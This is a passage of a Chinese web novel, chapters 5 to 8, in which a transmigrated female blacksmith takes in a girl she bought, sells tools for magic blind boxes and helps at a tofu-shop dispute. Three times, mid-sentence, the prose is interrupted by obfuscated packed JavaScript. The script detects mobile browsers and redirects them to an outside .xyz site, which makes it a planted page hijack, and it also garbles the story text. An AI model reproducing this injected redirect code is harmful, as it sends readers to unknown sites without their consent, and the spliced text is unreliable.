阿雅被江浔凶怒的语气吓得身子一抖,脑袋紧紧埋在她的胸口前,鼻尖还能闻到皂角的清香。 脑袋晕晕乎乎的。 她知道自己是被她花十两银子买下后,一路抱回家的。 江浔身上的味道很好闻,很让人安心,让她忍不住想要依赖。 即便是语气很凶,可说出的话也是在为她考量。 她是个好人。 被江浔紧紧压在怀中的阿雅脸色又有些发烫,声音很小,又软又绵问道:“可是我是您花钱买的,我总要为您做点什么……还是说……” 您也要把我卖掉吗? 想到这里,阿雅身体又抖了一下,手指不自觉攥紧江浔的衣边。 她听到人伢子说的,把她养好可不止卖二十两,难道她是这种想法吗? 江浔没去多想阿雅未尽之话是什么意思,她只道:“你想为我做事,挺好。我家里确实差一个煮饭、采买的人,也就是管家里事的人,但也要等你伤养好了再说。” “管、管家里事的人?” 阿雅结巴了。 阿雅脸更红了。 像煮开的水,脑袋中不仅咕噜咕噜冒着气泡,脑袋顶上更是喷出一连串热气。 是她想的那样吗? 她、她有那种癖好吗? 怪不得会花那么多钱买她,要是她真有那种癖好,寻常人家的娘子是绝对不可能嫁与她的。 怪不得会说她要和她生活在一起,原来是这个意思。 阿雅是第一次遇见这种情况,当即也顾不得身份有别,脑袋更加往江浔怀里埋,害羞道:“奴、奴可以思量一段时日吗?” 江浔脑袋上冒出问号,“你还要思量?” 她的想法是,你之前不是说好为我做事吗?怎么真有事做,又要考虑了? 可她的质问语气却让阿雅慌了,仰起小脸,急忙道:“不思量了不思量了,我愿意。” 5. 第 5 章 端回来的抄手还热气腾腾地冒着白烟,江浔引着阿雅到灶台前,抬了两条凳子,两人就坐在灶台旁开始吃东西。 张记食摊的抄手可是个顶个的皮薄馅多,那面皮晶莹剔透到甚至能瞧见里面的肉馅,一碗抄手本就鲜得不行,再撒上一把翠绿葱花,那更是让人食指大动。 牛肉煎饼也是这样,表面煎得酥脆金黄的面饼,从边上划一刀,划开内里,往里面放入做好的牛肉馅,再打入一个鸡蛋,往煎锅上一放! 葱花、花椒、胡椒和牛肉、鸡蛋的独特香味就被激发出来,一闻就知道很好吃。 两人围坐在灶台旁,江浔先是拿起油纸包着的牛肉煎饼,咬了一大口。 吃的满嘴肉香。 不得不说,这种才做的、还冒着热气的食物就是好吃,很有锅气。 不像她以前在便利店吃的,就是不冷不热的简餐。 满足地咽下一大口牛肉煎饼后,她又用勺子舀起一个透肉色的抄手,塞了满嘴, 太好吃了。 江浔吃的两腮鼓起,眼睛都是眯起的。 她可太好这一口了,连续吃几天都不带腻的。 看着她吃成这副模样,阿雅脑袋几乎缩在碗后,就留一双眼睛悄悄看着,心里在偷笑。 没想到看起来成熟稳重的江浔,也会露出这副表情。 许是觉得自己视线藏得很好,阿雅灵动双眼扫来扫去,把江浔整个模样都记在心底了。 她眼窝凹陷深邃,眼睛偏细长,眼睫也很细密,盯着人时很认真,仿佛一汪深泉,眨眼间暗含着涟漪,似有说不完的情意。 眉仿佛用螺子黛描了又描,浓黑却不生硬,朦朦胧胧,如雾霭中的远山。 唇偏薄,但一直都带着很有气血的红,一看就身体康健。 她似乎不会盘发,只用一根发带把自己所有头发都扎成马尾。 增添几分干练之感。 身上的衣服也是短打,不过刚才坐下时,就顺手把外衣给脱掉,只留了贴身的无袖坎肩。 眼神痴看到这里,阿雅突然想起什么似的,又立马看向被江浔脱下的外衣。 外衣胸口处果不其然有一团灰蒙蒙的污渍,是她刚才埋上去时,头发和脸颊在那上面蹭的! 阿雅的双眼猛地瞪大,脸烧得慌。 她虽然被江浔用水擦了擦,但没彻底洗过,终归是不太干净的。 只是贴一下、蹭一下,都在对方的衣服上留下了灰。 阿雅脸皮薄,又才知道江浔买她回来是做什么的,顿觉有些不好意思,头都快埋到地里去了。 正在风卷残云进食的江浔其实早就知道她在看自己,但见她在吃东西,也就没有管。 哪想这小姑娘不知怎么回事,居然才吃几口就不吃了,头也埋得很深,活像受气小媳妇似的。 江浔咽下口中的东西,寻着话头开口。 “家里没有桌子,先将就着,下次赶集我会买回来。” 见小姑娘只是胡乱点头并没有理她,江浔想了想,又道:“抄手已经不烫嘴了,正是可以下肚的时候,这个牛肉煎饼最是美味,多吃点,吃了好喝药。” 锅里的药已经晾了许久,再不喝怕是凉了。 听见她在催促她吃东西,阿雅这才抬头,眼神小心翼翼飘向那脏污的外衣,眼睛微不可察地紧闭一下,才开始快速吃着东西。 她嘴巴没有江浔那么大,吃什么都小口小口的,跟麻雀似的。 吃老半天一看,没有少多少。 江浔看着看着,心中失笑,不会还越吃越多吧? 摇摇头,江浔把自己碗中最后一个抄手连同着一些汤,全部喝进嘴中后。 她站起身,去找自家的碗。 原主爹娘去的早,剩下原主这个不会做饭的姑娘。 独自生活的那段时间,原主精神恍惚,总是不小心把碗摔碎。 直到现在,江浔只能从家里找出一个完整的碗。 把这个碗洗干净后,她揭开木盖,从锅里舀出阿雅的药。 许是阿雅扫地时,怕灰尘溅起飘到锅里,才盖上的木盖。 居然能找到家里的木锅盖,还算机灵。 把药放在阿雅身边,又看见阿雅为了赶紧吃完东西,而狼吞虎咽得狼狈模样。 江浔轻轻按住她的手腕。 “嗯?”阿雅鼓着腮帮子,茫然抬起头,水汪汪的眼珠看向她。 “不用这么着急,慢点吃,也不用勉强自己,以后每天都会吃上饭的。” 阿雅的手抖了一下,都快要被自己蠢哭了。 她、她现在很难看吧?也没有教养吧? 会被江浔嫌弃吗? 阿雅赶紧把口中东西咽下,用手拉住正要离开的江浔的手指。 手指好长,一手都握不完。 由下往上看的角度,让阿雅原本有些上挑的双眼,看起来跟狗狗眼似的。 不消说话,就委屈巴巴的。 “怎么了?” 正想去铺子里,完成原主遗留下来的活儿的江浔,顿住脚步,看向她。 “别、别嫌弃奴。” 阿雅不知自己心中是什么想法,她明明从前也没喜欢过女子,可现在,她本能的不想让江浔失望、不想让江浔后悔。 “奴、奴会乖乖的,慢慢的,也会洗干净自己的。” 手更加握紧江浔的两根手指,脸颊也贴在江浔的手背上蹭了蹭,抬头用一双蕴含着秋水的眸子,又柔又轻地看向她。 阿雅是知道自己长得好看的,以前的时候继母就经常看不惯她的长相,故意找由头打她。 时常让她脸上带伤,才看着舒服点。 所以,她敢断定自己这个模样是不丑的,说不定能让江浔喜欢一点。 可江浔根本就不懂她做这个动作的潜在意义,只觉得这小姑娘还挺乖挺惹人怜爱的。 她收回手,拍拍小姑娘的头,道:“嗯,那挺好,那你慢慢吃完,碗就放在灶台上不要动,然后自己进屋休息。” “我要去铺子里打铁,你要是想找我,就到铺子里来。” “千万别自己做事,我会生气的,明白吗?” 见阿雅点点头后,江浔这才走进打铁铺中。 原主去世那个时候,才接了个大单,是清水镇最大的绣楼来订的几百根绣花针,和几十把剪子。 要最为精细着来。 结果原主还没开始做呢,就去世了。 而她,得亏是身体有肌肉记忆,练了几天就会打铁了。 不然还不知怎么办。 因为绣楼要的绣花针极细,又要在上面钻孔,还有大小不一的要求,制作极为耗时耗力,所以费用是不低的。 一套十根绣花针,她要收十二文。 总共做三百套,收三千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805896|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六百文。 再加上剪子的钱,她这一单能收三千九百文,减去铁的成本一百六十文。 能赚三千七百四十文。 还算不错。 制作绣花针,首先需要把铁块锤成细小的铁条,再用力拉过钻有小孔的铁尺。 把小铁条打磨成粗细均匀的铁丝。 这一步,江浔在前几天已经做完。 现在只需要把铁丝按着相同的长度剪短,一边磨成尖头,一边锤扁打孔就行。 这一步就需要小心着来了,稍不注意就有可能废一根针。 屋子里有些暗,她把铁铺的门打开,让外面的天光可以照进来,铁铺瞬间就亮堂许多。 她打开门,都还没站回去继续做针,就有个老农匆匆走来,把手中的锄头递到她眼前。 “哎哟江铁匠,总算等到你开门了,快帮我看看这个锄头。” 那锄头锈迹斑斑,刀头处豁开一个大口子,很明显已经不能用了。 “这是怎么弄的?砍石头上去了?”江浔大声对那个老农道:“这已经不能用了,换新的吧!” 这样子的锄头,即便她修补好,也很容易再裂开。 “我这里的锄头又锋利,又轻便,用着省力嘞。” 老农:“就是砍石头上去了,我去山上挖笋子,不小心就把锄头弄成这样了,还差点把我崩到。” 说完,老农才问道:“那你这里锄头卖多少?” 江浔:“五十文!” 听到这个价格,老农觉得有些贵,还有些犹豫,但江浔说可以把坏锄头回收,给他便宜点,四十文。 这下老农就动心了,花四十文买了把新锄头。 刚把锄头递给老农,接过老农的钱,江浔耳边就响起“滴”一声。 眼前出现一串字:【成功卖出锄头x1获得盲盒一个。】 江浔:? 什么玩意儿? 不动声色把老农送走,江浔尝试着用心声问道:“盲盒?” 一个朴素的白盒子立马旋转着出现在她眼前,不是真的东西,更像一道虚影。 她又尝试着说道:“开?” 盲盒立马打开,里面出现金光灿灿几个大字:【恭喜获得【疾风步】,使用时间五分钟。】 还真有东西吗? 她的穿书金手指??? 正在江浔还不确定这是真是假之时,院子中,吃完饭又消完食的阿雅撩开帘子,脑袋探入打铁铺中。 小心翼翼问道:“奴可以烧水沐浴吗?” 江浔回神,道:“我来给你烧。” 她没有把打铁铺的门关上,只是把打铁铺通向院子的门关上了。 她和阿雅一起走进院子,在水井中为阿雅打起几桶水,添满整口锅,然后烧起熊熊大火。 暑季的水是不用烧太热的,有点温度就成。 等水温差不多后,江浔用木桶把水盛出,放在空地上,又把皂角递给她。 转身就进屋去了。 阿雅在原地站了一会儿,以为江浔不会回来,便对着墙开始慢慢脱自己衣服。 她身上有伤,动作幅度稍微大点都可能牵扯着疼。 好在她能忍,抿着嘴,一声不吭就把衣服脱了下来。 等进屋找衣服的江浔,拿着衣服回来时,入目便是阿雅一截儿纤细柳腰、雪白莲臂、还有柔柔垂下的脖颈。 6. 第 6 章 阿雅的皮肤很白,像是没怎么见过阳光的嫩藕,也像是上了一层又一层釉面的瓷器。 只那么远远地看着,都能想象到那肤如凝脂,滑腻似酥的触感。 阿雅的衣服虽然脱了去,但纱布从前胸一直缠绕到后背,把该挡的都挡住了。 所以拿着衣服的江浔,挠了挠脸,虽然觉得有一丝微小的尴尬,但又觉得没什么,反正也没坦诚相待,她便走了上去。 对阿雅道:“给你拿了衣服,你洗完后穿。” 刚脱下衣服的阿雅:! 她如同被吓到的猫儿一般,瞬间炸毛,顾不得自己背上的伤,抬起手臂就往胸上挡。 身子在发抖,眼眶也被惊的红了一圈。 “你……” 阿雅扭头看向朝自己走来的江浔。 对方实在是比自己高大太多,腿很长,肩很宽,越朝自己靠近,就越觉得压迫。 她要干什么?不会是想…… 阿雅不知道喜欢女子的女子之间是怎么相处的,但不能是白天! “别、别过来!” 颤抖又软绵的话音,还带着点祈求。 似乎对方怕极了自己。 江浔立马站定在原地,又有些尴尬地挠挠自己的脸颊。 日头西下,墙上斜斜的影子把阿雅整个包裹住,让原本在阳光下如暖玉般滑腻的肌肤,变成带着点冷色调的清冷凝白。 察觉到她在怕她。 江浔不敢过多动作,拿着衣服的手往前递,脑袋偏开看向一旁。 “给你的衣服。” “你、你就放在、放在那边。” 阿雅还是觉得有些不自在,往旁边缩了一下,让阳光落在自己身上,让江浔的影子没办法笼罩自己。 她用眼神看向灶台,示意对方把衣服放在那边。 江浔照做了。 做完赶紧转身,依旧留下一句,“我不会再进来,有什么事就叫我。” 然后匆匆走向打铁铺的方向,推开门进入又紧紧关上门。 进到打铁铺子里,同院子中的一切隔绝,江浔不知为何深深松了口气,背上多了层热汗,使衣服黏腻地挂在背上,怎么都不舒服。 脸颊也奇异的在发烫,精神有些飘忽,仿佛正踩在云端。 眼神四下搜寻,在铺子里看见自己边缘缺了一小口的茶碗,左脚踩右脚地走过去。 端起茶碗一口气把里面的水干完。 太奇怪了,大家都是女人,阿雅有什么好害羞的? 看着阿雅那么害羞,搞的她都有些不自在了。 脸还红了。 不不不,绝对是天气太热打铁铺温度太高,自己才这么燥的。 等有时间一定要泡点凉茶来喝才是! 凉水入肚,那冷冰冰的感觉顺着喉咙流过肺部,再流到胃里,让她整个肚皮都凉飕飕的。 不经打了个冷颤。 放下碗时,江浔见碗口边缘有些血红色。 懵了一瞬才发觉,碗口缺了一角的地方,把她的嘴唇给划破了! 江浔:…… 怎么开始倒霉起来了? 好在伤口不痛,她抿了几下受伤的地方就没管了,而是开始继续打着绣花针和剪子。 期间,有一位阿婆来买东西,江浔卖出去后,又得到一次拆盲盒的机会。 拆出的是十两雪花银。 这东西好啊。 刚好可以补齐用了原主的那十两银子。 以后就可以把原主的二十两银子当做备用金,只有真的缺钱的时候再用,等有钱了又补上。 以防自己大手大脚乱花钱。 又陌约过了一炷香的时间,江浔听到外面青石板街上传来喧闹之声,似乎是有哪里吵起来了。 她本是不想管的,但奈何声音越来越大,还开始打砸东西,吵的她实在没办法专注。 她才站起身,朝外面走去。 只见,有一个高大汉子站在豆腐店中,指着豆腐西施宋月柔大声吵嚷道:“你家的豆腐是不是有问题!怎么把我兄弟吃成这个样子了?你故意的?” 宋月柔一身素白衣裳,头上挽着低低的发髻,簪着根朴素银钗,腰间围着白布围腰,身段被围腰的细绳掐得婀娜娉婷。 柔弱女子脸上全是茫然与委屈,被高大汉子指着,都不知该如何是好了。 再一看地上,这高大汉子的兄弟捂住肚子躺在地上,疼的哎呦哎呦说不出一句完整的话。 高大汉子见自己兄弟疼成这样,指着宋月柔要说法,见宋月柔说不出什么话,便又开始打砸豆腐店里的东西。 “这是怎么了?” 江浔皱着眉站在豆腐店外,问旁边看戏的大婶。 有戏看,大婶连瓜子都准备好了,摸出一把塞在江浔手中。 然后嗑嗑嗑讲道:“这两汉子怕是对宋老板有点意思,来好几日了,早食晚食都来,不知怎么的,这次居然吃出问题了!” “那汉子说是宋老板想撵他们走,才故意这样的。” “要我说,宋老板是做生意的,怎会干这种自砸买卖的事?怕不是这两汉子故意讹人!” 围观的街坊领居们,心中都能猜到恐怕不是宋老板的问题,但就如同上次江浔遇见事一般。 这次宋老板遇见事,也没有人上前帮忙。 江浔在旁边看了一会儿,其实也不想出这个头的。 她不记得书中有没有这一段了,但她和女主本就是对照组,她做什么事都不会有好结果的。 还不如让宋月柔自己解决,说不定更好一些。 正当江浔转身想要离开之时,躺在地上那个汉子突然翻身跪在地上,手成拳一直锤着自己胸膛,喉咙里猛烈咳嗽着。 可惜没用,他就像是被什么东西掐住脖子般,气上不来也下不去。 憋在喉咙处,脸都憋紫了! 他腹痛难忍,就想扣喉咙眼把东西吐出来,结果哪想东西没吐出来,还把自己噎住了。 真是人倒霉起来,吃豆腐都噎人! 他又捂住自己喉咙,噫噫呜呜吼叫着什么,手朝围观的百姓们伸去,指着自己喉咙比划着。 百姓们哪里知道他怎么回事啊。 看到他这副模样,还以为是中邪了,纷纷退避三尺,更有甚者还直接离开了。 就怕被恶鬼缠上。 只有江浔察觉出不对,感觉这人是被噎住,难以呼吸。 要是不及时医治,恐怕会出人命! 她赶紧扒拉开人群,走上前去,想拎着人去医馆。 其实江浔也不敢断定这人是否真是被噎住,万一不是,自己贸然去救,到时候人没救回来,她不成罪人了? 好在医馆离得近,送去医馆是最稳妥的办法。 但医馆还没到,这人脸色却越来越紫,身体也软下去,看起来快要不行了。 江浔脑门顿时出了汗,觉得这就是块烫手山芋。 她大脑高速运转,想法子之时,她想起自己的金手指【疾风步】! 赶忙在脑海中疯狂说使用,疾风步几个字直接被点亮! 只见江浔双腿微不可察地闪过金光,脚下步伐凌乱且飘逸,居然不到一秒就跑到医馆中了! 让医馆里的大夫和药童都吓一跳! 江浔嘴巴快速交代清楚病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805897|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,用力把烫手山芋交到大夫手中,提起的心总算是放下。 万幸万幸,人是活着交出去的,死了也不关她的事。 好在大夫也是有点水平在的,见到是被噎住的病人,脚往凳子上一踩,把这人的胃往膝盖上一顶! 那汉子“yue——”一声,就把胃中所有东西吐出来了。 这下好了,嗓子也不堵了,肚子也不疼了。 只不过大夫的腿就遭殃了,被吐了一滩混着胃液的豆腐。 酸臭难闻。 让江浔都忍不住后退几步。 还未等大夫去换干净衣物,豆腐店的宋老板和另外一个汉子,以及一大堆看热闹的百姓赶过来。 汉子大声问道:“我兄弟没事吧!” 大夫不悦:“嚷什么嚷!他没事,赶紧付了诊金,清洗地面,然后带着他离开。” 汉子:“那我兄弟的腹痛……?” “腹痛?”大夫蹲下身,手在躺着的汉子腹部按了几下,道:“许是吃太多胀气噎食了,现在已经好了。” 汉子:“吃、吃太多!?” 反应过来自己兄弟是因为什么而腹痛,汉子怔愣后,顿时觉得面子上有些挂不住。 他这兄弟看上宋月柔了,求娶不行,就日日到宋月柔店里照顾生意。 他本以为是宋月柔看他们不爽,故意针对他们,没想到是他这兄弟吃太多噎住了! 丢人! 在这汉子自顾自想着时,宋月柔小步靠近江浔,给她行了个礼,道:“今日多谢江姐姐为我出头,要不是江姐姐你,我都不知道该怎么办了。” 江浔看着极为有礼的宋月柔,心中对女主的观感好了几分,女主好像也不怎么讨厌,只是两人身份不合而已。 她摆摆手,让宋月柔不要放在心上。 宋月柔道完谢,又转身去和那汉子交涉。 既然不是豆腐有问题,那汉子的纠缠就是没有道理的。 但汉子似乎不那么想,他觉得总归是吃你们东西出的事,你不可能不负责。 宋月柔同他说了几句,反倒是又有吵起来的架势。 无奈间,宋月柔把眼神看向江浔,似乎在求助。 江浔想着既然女主人不坏,帮一帮也无所谓。 便走上前,把宋月柔挡在自己身后,冲那汉子道:“对,确实是要赔偿,你砸坏宋老板店里那么多东西怎么能不赔偿!?” “还敢反过来污蔑勒索宋老板,我看得报官才能解决!” 话音落下,对面汉子还没说什么,她身后的宋月柔却偏偏立马道:“不碍事不碍事,不报官也不用赔偿,只要你们别在纠缠于我就行。” 此话一出,算是拆江浔台了。 周围围观的百姓听见,也开始窃窃私语道:“还是宋老板人好,被如此污蔑,都还想着原谅别人。” “这江铁匠有点咄咄逼人啊,大家都是平头老百姓,没必要闹的这么难看。” 江浔:…… 江浔:? 这就是对照组的威力吗? 无语地看宋月柔一眼,既然都觉得她不对,便不对吧。 江浔道:“害,你不想要赔偿?那听你刚才和我偷偷抱怨,说他们品性不好,猪狗不如,我寻思你要赔偿呢。” “既然不要,那我便不多停留,先告辞了!” 说罢,趁着疾风步还有最后几秒,眨眼间就消失在医馆里! 还是家里的小姑娘乖巧听话,外面的女子太可怕了! 而医馆中,汉子听见江浔的话,对着宋月柔怒目而视! 没想到宋月柔表面和和气气,背地里居然是这副模样! 7. 第 7 章 宋月柔哪里知道江浔会这么说啊,看着对自己怒目而视的大汉,她有些害怕地朝后退一步,嚅嗫道:“我、我从未这么说过。” 以她的秉性,向来是与人为善的,怎么会这么说他人呢? 可任由她怎么解释,周围人看向她的目光都有些怀疑。 倒不至于全然不信她了,只是也开始思索她是不是真如大家所想,是个良善娘子。 不过这些都没影响到快步离开的江浔。 江浔走出去好几步后,疾风步的效果消失,但她已经到打铁铺子了! 这金手指果然好用,只用靠卖东西就可以获得拆盲盒的机会,就可以从盲盒里开出这么好用的东西。 还挺不错的。 回到铺子中,江浔的心情没有因为刚才的事变差,只是觉得今日异常倒霉。 喝水嘴唇破了,凑个热闹,差点自己被当成热闹。 索性,现在天色逐渐暗下,她也可以关门好好休息。 今日三百套绣花针她做了一半,明日再废些功夫定能全部做好。 还要再打一些农具、家用器具,让百姓们好挑买。 她手脚利索的把今日打出来的绣花针放置妥当,又把自己铺子中的东西擦得锃亮,摆放在该摆放的位置。 也不知阿雅洗过没有,自己能进去了吗? 思及此处,江浔走到进入院子的那道房门前,耳朵贴在上面,跟做贼似的,悄悄听着。 而院子中的阿雅呢? 因为浑身都是伤,独自洗澡还是挺不方便的。 她没办法用水往身上浇,只能把帕子打湿再拧干,擦拭着自己身子上脏污的地方。 她被发卖后,人伢子见她身上衣物还不错,就扒下来不知拿哪里去了,只给她一件破麻布做成的衣裳穿。 再后来,她一直被关在笼子中,因着身上新伤旧伤无数,脚是坏的,性子又烈。 风月场所的老鸨不要她,一些家中纳小妾的人家也不要她。 还算顺利的被带到清水镇,遇见了江浔。 但见她卖不出去,人伢子异常气愤,不给饭吃,也不会让她清洗。 她就成了泥人模样。 即便江浔给她擦过一遍,也还是不怎么干净。 忍着牵扯到伤口的疼痛,她一遍遍用帕子擦着自己身上的脏污,有时候动作幅度大了。 她都能感觉到自己背上紧绷的伤口裂开,有湿濡的水液流出。 估计是又流血了。 她得动作快点,别让江浔发现。 擦完身子,穿上对方为自己准备的衣服。 这是一套白色里衣搭配素青色短衫,下身是一条红土色的百迭裙。 素雅的青和稳重的红,让她整个人显得雅致又端庄,即便没有任何花纹,也不会沉闷。 上面有淡淡的皂角味和江浔的味道,穿在身上,仿佛两人正紧紧相拥,亲密无间。 西下的日头果真还是太炎热了些,照的阿雅身子上又起了层薄汗,险些白沐浴了。 她扬起手往自己脸上扇风,好一会儿,等思绪逐渐平稳,才开始整理着自己的发丝。 洗发才是最耗时耗力的。 她的发已经打结了,早就不知藏了多少污秽东西,得仔细梳开梳顺,才好过水冲洗。 这么一大功夫弄下来,约莫过去大半个时辰,才勉强梳顺把头发洗净。 丝丝缕缕泛着水汽的青丝垂在身后,一颦一笑间,青丝勾缠上浸染着红的耳垂,落过肩头,像早春生机勃勃发出的枝桠般。 要在上面簪朵粉蕊桃花,才算做配。 她迈着小步,把通向打铁铺的门推开一丝缝隙。 脑袋轻巧探出,本想叫江浔的,却发现江浔没在铺子中。 会去哪里呢? 她没敢出去找,也没敢做要力气的活,便只得转身在院子里逛着。 院子朝里有两间屋,一间位于正中,是江浔的屋子,一间偏西侧,要小些,离做饭的灶台很近,被江浔当做杂物间。 什么东西都堆放了一些,但没有床。 很显然,她晚上会和江浔一起睡。 想到这里,阿雅脸上又起了抹嫣红,快步走进屋内,把床上的褥子和薄被拍了又拍。 拍去上面的灰尘和泥块。 - 打铁铺子中,江浔在自家也跟做贼似的,把耳朵贴在门上,细细听着院子里的动静。 不过院子中很安静,连点水声都没有,听不出任何信息。 应该是洗过了? 想到自己贸然进入,有可能对方会对她“坦诚相待”,江浔还是没敢直接进去。 得抓紧时间买个浴桶,就放在、就放在西屋里,这样两人洗澡之时,才不会如此尴尬。 思索间,她纤长还带点薄茧的手指曲起,指节敲在门上。 如果阿雅在院子中的话,必然会引起她的注意,况且江浔还喊了几声。 都没人应答? 没在院中?还是出事了? 自己离开打铁铺太匆忙,根本没有关大门,怕不是有歹人进入? 想到这里,她心下蓦地一慌,赶忙推门走进。 院中果然没看见对方,她喊道:“阿雅?阿雅?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805898|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在床边,仔细理着床铺的阿雅听见,起身匆匆迎了出去。 “奴在。” 她向江浔行了个万福礼,寓意祈福安康。 同样的礼由不同的人做出来,自是有不一样的感觉。 看到她雅正端方的动作,江浔明白过来,礼原来是能投射出行礼人内心的。 阿雅做的一看就包含着满满的真诚。 见阿雅没出事,江浔的心才猛地放下,道:“不要自称奴了,以后自称我。” 阿雅抬头,看向站在落日余晖中被镀上一层金光的人。 明明是很寻常的一句,她却觉得心头和眼眶都有些发热。 再开口时,不知为何有些哽咽,“奴、我知晓了。” “嗯,真乖。” 江浔大步走上前,摸了摸阿雅湿漉漉的头发,牵着人的手,坐到院中凳子上。 翻遍西屋,找出一块干净的麻布,为阿雅擦着头发。 阿雅没想到对方会为自己擦头发,几次挣扎着想要站起身,却都被对方大力的手劲儿给按下去。 反抗不得。 再后来,她就顾不得那么多了。 江浔温热的指腹,常常会从她的脖颈处划过,留下细密酥麻的触感。 不一会儿就让她软了身子,虚虚靠在江浔身上。 洗干净的阿雅,就像从淤泥中艰难生长出来的、含苞待放的荷花般。 青涩又柔美。 嫩白脸庞微侧,晶莹剔透的褐色眼珠,迷蒙地看着为自己擦发的人。 无比依赖。 乌黑浓密的头发,江浔一摸便知以前被养护得很好,估摸着怕是后来受了苦,发尾才有些枯黄分岔。 精细养一段时间,再把发尾修剪掉,应该能养回来? 为了不伤到阿雅的发质,江浔都是用麻布按压吸取水分。 几次下来,水分就被吸干净,再晾一会儿,差不多能干透。 她细致的为阿雅擦着头发,擦着擦着,就觉得小姑娘靠自己越来越近,还偏头眸子雾蒙蒙地看着她。 让她擦头发的动作越来越扭曲。 难道是困了? 索性头发也擦干了,江浔把麻布搭在自己腿上,手臂朝前伸,压着小姑娘胳膊,环住对方整个人,往自己身上压了压,让对方能靠得更实。 “累了?你是该好好休息的。我这就去买吃的,吃完咱就上丨床!” 靠入同样柔软,却板正的身体中,慵懒又低沉的声音绕着阿雅的耳朵转啊转,都把她转晕了。 等再回过神时,院子中只剩她一人,江浔去买吃食了! 8. 第 8 章 晚饭是大肉包和绿豆稀饭,食摊老板还送了一份辣口泡菜,脆爽可口,在暑季是难得的能调动胃口的东西。 吃完饭后,时辰已经不早了,江浔快步进入屋子点上蜡烛。 暖黄的光朦胧的笼罩在屋子中,跳动的烛火让一切都影影绰绰,阿雅跟在江浔身后进入屋子后,就有些踌躇。 此时的她才开始担忧江浔会不会让她睡床? 会的吧? 毕竟她之前也睡过。 可现在是两个人。 她要和江浔一起睡觉了吗? 过于快的速度,总让阿雅有些心神不宁。 但她纷乱的思绪并没有影响到江浔,江浔见床铺是整齐的模样,便掀开被角,对阿雅道:“来吧,你睡里面。” 她明天会早起,睡外面不容易吵到阿雅。 被叫到,阿雅才低着头靠近床边。 狭窄的屋子中,呼吸声和衣裳摩擦的声音都是那么清楚。 为了让自己显得自然,阿雅坐在床边之后,就把自己的外衣脱下,只留一件白色的中衣。 江浔的衣服对于她来说略大,中衣穿在身上空空荡荡的,显得她更加的瘦弱。 快速到最里面,抱膝缩成一团,给江浔留出大片床铺后,她黑亮的眼眸就跟着江浔的动作转来转去。 像一只到新环境后无比惶恐的雏鸟,想找个依赖。 江浔就显得比她随性很多,脱来只剩件单薄里衣,相当于现代的吊带或抹胸,在颈后、腰后系绳,可覆胸盖肚。 对于她来说基本算一件正常衣服。 但对于阿雅来说,好像不是。 江浔脱完衣服后,手臂朝天空上举,伸着懒腰转身,准备去把桌上的油灯给吹灭。 光洁曼妙,如竹般修长的腰背暴露在阿雅眼中,惊的阿雅瞪大眼睛,想要移开视线,双眼却不受控制总想往那背影上落。 不管是什么时候,江浔的身姿都是很板正的,肩开阔沉稳,仿佛什么事落在她身上,她都能扛得起。 身段往下时又极速收窄,被两根红色细绳掐出劲瘦有力的腰部。 此前十多年,阿雅只觉得女子的身形不管高矮胖瘦,其实都是一个样,从没有好奇过。 直到今时今日,她才猛然发觉,其实也不一样的。 江浔不仅有女子的柔美,身形之下更是有力量在游走,跟画本中,窜梭在山林中的矫捷玄豹很像。 吸引迷失的游子追寻,可在游子真的追上去后,却会被玄豹咬住脖子,拆吞入腹。 而此时,阿雅觉得自己就是那个游子。 被诱惑到狭窄房间的床上,蜷缩在角落,不知迎来的会是什么。 迟来的害怕慢慢涌上,却无路可退。 女子喜欢女子不算什么罕见事,虽不能明媒正娶,但也会小办几桌,给亲朋好友们通通气。 她会这么待她吗? 还是她也和那些风流男子一般,只是像养几个外室、养几个小妾一样养她呢? 前路的迷茫让阿雅默默朝墙的方向缩了缩,悄悄用被子把自己盖住,只留出一双眼睛。 江浔吹灭蜡烛后,屋内猛然暗下,她摸黑回到床上,隐约看见阿雅还蜷缩在角落里。 心中有些不解。 “快躺下吧,你不困吗?” 按理来说,阿雅今日经历了那么多,精神应该是很疲惫的, 居然不想睡吗? 缩在角落里的阿雅在心中不断宽慰自己,告诉自己江浔不是玄豹,也不会吃人,这才怂怂地钻入被子中。 却依旧不敢靠近江浔,和江浔隔着十万八千里。 “怎么了?” 察觉到小姑娘在躲自己,江浔有些不明所以地问道:“不习惯和他人一起睡?” 就着月光,她能看见阿雅摇摇头,听见柔顺发丝在枕头上摩擦出声响。 接着,阿雅才像反应过来似的,细声细气道:“不、不是。” 话是这么说,但身子依旧没动,背紧紧贴着墙,都顾不上伤口被压得疼。 江浔的眉微妙地挑起,不是不习惯,那就是不想靠近她。 明明今天抱也抱了,看也看了,都这个时候了,又开始不想靠近她了? 